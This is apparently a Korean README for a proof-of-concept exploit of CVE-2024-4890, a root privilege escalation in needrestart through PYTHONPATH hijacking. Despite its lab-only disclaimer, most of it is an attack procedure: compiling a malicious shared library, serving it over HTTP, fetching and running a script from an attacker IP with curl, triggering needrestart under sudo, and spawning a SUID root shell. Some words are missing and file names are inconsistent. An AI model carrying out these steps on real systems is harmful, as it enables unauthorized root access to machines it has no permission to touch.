
CVE-2024-4890에 대한 PoC 익스플로잇: neecdrestart(>=3.8)를 통한 Sudo 권한 상승. 윤리적 랩 전용. Python 및 C 스크립트.
연구실 전용 통제 환경에서만 사용하십시오. 명시적 승인 없이 프로덕션 시스템에서 악용하지 마십시오. 이 PoC는 교육 목적으로만 제공됩니다. 작성자는 오용이나 무단 접근에 대해 책임을 지지 않습니다.
CVE-2024-4890은 needrestart (버전 >= 3.8)의 중요한 취약점으로, 권한 상승을 통해 임의 코드 실행이 가능합니다. 이 문제는 프로세스 스캔 중 환경 변수 및 설정 파일의 안전하지 않은 처리에서 비롯됩니다.
구체적으로, sudo로 실행될 때 needrestart는 실행 중인 Python 프로세스를 검사하며, 여기에는 PYTHONPATH 환경 변수도 포함됩니다. 공격자는 사용자 정의 PYTHONPATH를 통해 공격자가 제어하는 디렉터리(예: /tmp/attacker)를 가리키도록 설정하여 이를 가로챌 수 있습니다. 이 디렉터리 내부에는 악성 모듈(__init__.so)이 가짜 importlib 구조에 배치됩니다. needrestart가 루트 권한으로 이 모듈을 가져오려고 시도할 때(라이브러리 확인을 위해) 페이로드가 실행되어 루트 액세스 권한이 부여됩니다.
이 PoC는 미끼 Python 프로세스, 악성 공유 라이브러리(C로 컴파일됨) 및 자동화 스크립트를 통해 익스플로잇을 시연합니다.
needrestart >= 3.8 및 이에 대한 sudo 액세스 권한이 있는 Linux 시스템.gcc (컴파일용), curl, python3.이 파일들은 대상 머신의 /tmp/attacker에 배치하십시오.
e.py: 미끼 Python 스크립트 (루프에서 실행되며 페이로드 성공을 기다림).runner.sh: 미끼를 설정하고 트리거하는 자동화 스크립트.공격자 머신: lib.c를 __init__.so로 컴파일하고 호스팅:
gcc -shared -fPIC -o init.so lib.c
python3 -m http.server 8000
대상 머신 (피해자):
/tmp/attacker 디렉터리를 생성합니다.main.py를 복사합니다.runner.sh를 다운로드하고 실행 가능하게 만듭니다:
curl http://<ATTACKER_IP>:<PORT>/runner.sh -o /tmp/attacker/runner.sh
chmod +x /tmp/attacker/runner.sh
cd /tmp/attacker && ./runner.sh
이렇게 하면 악성 모듈, 미끼 스크립트가 생성되고 하이재킹된 Python 프로세스가 시작됩니다.
스캔 트리거 (새 SSH 세션에서):
sudo /usr/sbin/needrestart
needrestart가 미끼 프로세스를 감지하고 를 읽은 다음 악성 를 루트로 가져와 페이로드를 실행합니다.
성공 확인: whoami에 root가 표시되거나 id에 uid=0(root)가 표시됩니다.
PYTHONPATH__init__.so액세스 획득 (runner.sh 터미널로 돌아가서):
/tmp/poc (페이로드로 생성된 SUID 루트 셸)를 감지하고 루트 셸을 생성합니다:
sudo /tmp/poc -p
rm -rf /tmp/attacker /tmp/poc (추가된 sudoers 항목도 제거).